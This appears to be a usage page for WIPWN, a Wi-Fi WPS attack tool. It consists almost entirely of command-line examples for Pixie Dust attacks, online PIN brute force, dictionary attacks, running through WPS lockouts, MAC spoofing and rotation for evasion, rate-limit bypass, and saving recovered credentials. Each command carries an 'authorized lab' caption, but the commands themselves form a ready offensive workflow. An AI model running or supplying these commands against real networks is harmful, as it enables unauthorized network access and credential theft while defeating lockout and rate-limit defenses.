Scan + Pixie Dust
Scan nearby WPS networks and select one for an authorized lab test.
$ sudo python main.py -i wlan0 -KLoading WIPWN
Practical WIPWN examples for a documented, authorized lab session.
Scan nearby WPS networks and select one for an authorized lab test.
$ sudo python main.py -i wlan0 -KRun a direct test against a known lab BSSID.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -KTry one specific WPS PIN in an owned test environment.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -p 12345670Use the physical WPS button on the lab router.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF --pbcRepeat a scoped assessment continuously in a supervised lab.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K --loopPrint the installed WIPWN version.
$ sudo python main.py --versionRun full environment diagnostics with JSON output.
$ sudo python main.py --doctor --jsonVerify required binaries are installed and reachable.
$ sudo python main.py --dependenciesList interfaces and confirm local WPS tool availability.
$ sudo python main.py --interfaces --wps-infoConfirm Pixiewps support before any lab session.
$ sudo python main.py --pixiewps-infoRun the documented fixroot helper on a permitted lab device.
$ sudo python main.py --fixrootInstall the bundled Pixiewps-Extend build, dry run first.
$ sudo python main.py --install pixiewps-extend --dry-runForce rebuild an existing Pixiewps-Extend install.
$ sudo python main.py --install-pixiewps --force --optimizeRebuild an existing WIPWN-managed Pixiewps-Extend source tree.
$ sudo python main.py --update-pixiewpsRemove the WIPWN-managed Pixiewps-Extend component.
$ sudo python main.py --uninstall-pixiewpsRun the Termux-specific Pixiewps-Extend system check.
$ sudo python main.py --check-pixiewpsCreate a connection payload for an authorized lab network.
$ sudo python main.py --qr --ssid lab-network --password lab-passwordShow full tracebacks while diagnosing an issue.
$ sudo python main.py --doctor --debugUse the documented full-range option for a partially patched lab router.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K -FShow detailed handshake output for debugging.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K -vReport vulnerability indicators before the scoped test.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K --check-vulnDisplay the underlying pixiewps command before running it.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K -XSave a structured result for review.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K -F --json-output out.jsonCap PIN attempts during an approved test.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -B -g 500Add a delay to reduce lockout risk during an approved test.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -B -d 2Limit PIN bruteforce patterns tested in a scoped session.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -B --pin-limit 5000Increase bruteforce threads on a capable lab machine.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -B --bruteforce-threads 8Run the dedicated online bruteforce module.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -obRun a consent-based dictionary validation with a documented wordlist.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -da --wordlist ./lab-wordlist.txtRun parallel dictionary testing threads.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -da --wordlist ./lab-wordlist.txt --dict-threads 8Validate a single documented credential against an owned target.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF --password-file ./password.txtPersist successful credentials to a local file.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -B -wWait after a WPS lock response instead of hammering the device.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -B -l 120Extend the receive timeout for a slower lab access point.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K -t 15Fine-tune the M5/M7 handshake timeout for timing accuracy.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K -T 0.6Sleep 5 seconds every 10 attempts to reduce load on the lab AP.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -B -r 10:5Pause after repeated unexpected failures during a bounded test.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -B -x 30Keep testing through lock announcements only in a fully authorized lab.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -B -LProfile signal quality before testing.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K --signal-analysisHighlight chipset and algorithm indicators for research.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF --detect-weak-algoExtract vendor and chipset details from a scoped access point.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF --advanced-reconTest whether a permitted target rate-limits failed attempts.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF --detect-rate-limitCombine signal analysis, vulnerability checks, and verbose output.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K --signal-analysis --check-vuln -vRotate the local adapter identity only where explicitly permitted.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -B -MApply advanced MAC spoofing evasion during a permitted test.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -B --spoof-macUse a specific documented MAC address for a scoped lab test.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -B --custom-mac AA:11:22:33:44:55Hop channels during an authorized assessment.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -B --channel-hopApply the combined rate-limit bypass toolkit in a fully permitted lab.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -B --bypass-rate-limitSave an auditable assessment session for later review.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K -s classroom-labShow saved session progress.
$ sudo python main.py --list-sessionsContinue a previously saved lab session.
$ sudo python main.py --resume-session classroom-labStore session files in a documented, non-default directory.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K -s classroom-lab --session-dir ./sessions/Write structured findings to JSON.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K --json-output results.jsonWrite findings to CSV.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K --csv-output results.csvKeep a local activity log for review.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -B --log-file activity.logGenerate a detailed HTML report after a scoped session.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K --html-report --detailed-reportChoose a report format and a documented output directory.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K --report-format json --report-dir ./reportsAdd a successfully validated lab AP to the local vulnerability list.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K --auto-vuln-list --vuln-list ./vulnwsc.txtAnalyze a captured PCAP file for defensive handshake review.
$ sudo python main.py --pcap lab-capture.pcap --detailed-reportAuto-unblock a locally controlled Wi-Fi radio.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K --handle-rfkillEnable documented MediaTek Wi-Fi support.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K --mtk-wifiControl Wi-Fi through NetworkManager instead of wpa_supplicant.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K --use-nmReturn the interface to a down state once finished.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K --iface-downPrevent WIPWN from modifying system Wi-Fi settings on Android/Termux.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K --dtsSelect a documented PIN generation algorithm for a lab audit.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K --pin-algo mac_basedDisable ANSI colors for log pipelines.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K --no-colorsReverse the network list display for small terminals.
$ sudo python main.py -i wlan0 --reverse-scanBounded vulnerability check, full range, and verbose output.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -K -F -v --check-vulnA fully bounded, logged, and reported bruteforce audit.
$ sudo python main.py -i wlan0 -b AA:BB:CC:DD:EE:FF -B -g 500 -d 2 -w --html-report --log-file audit.log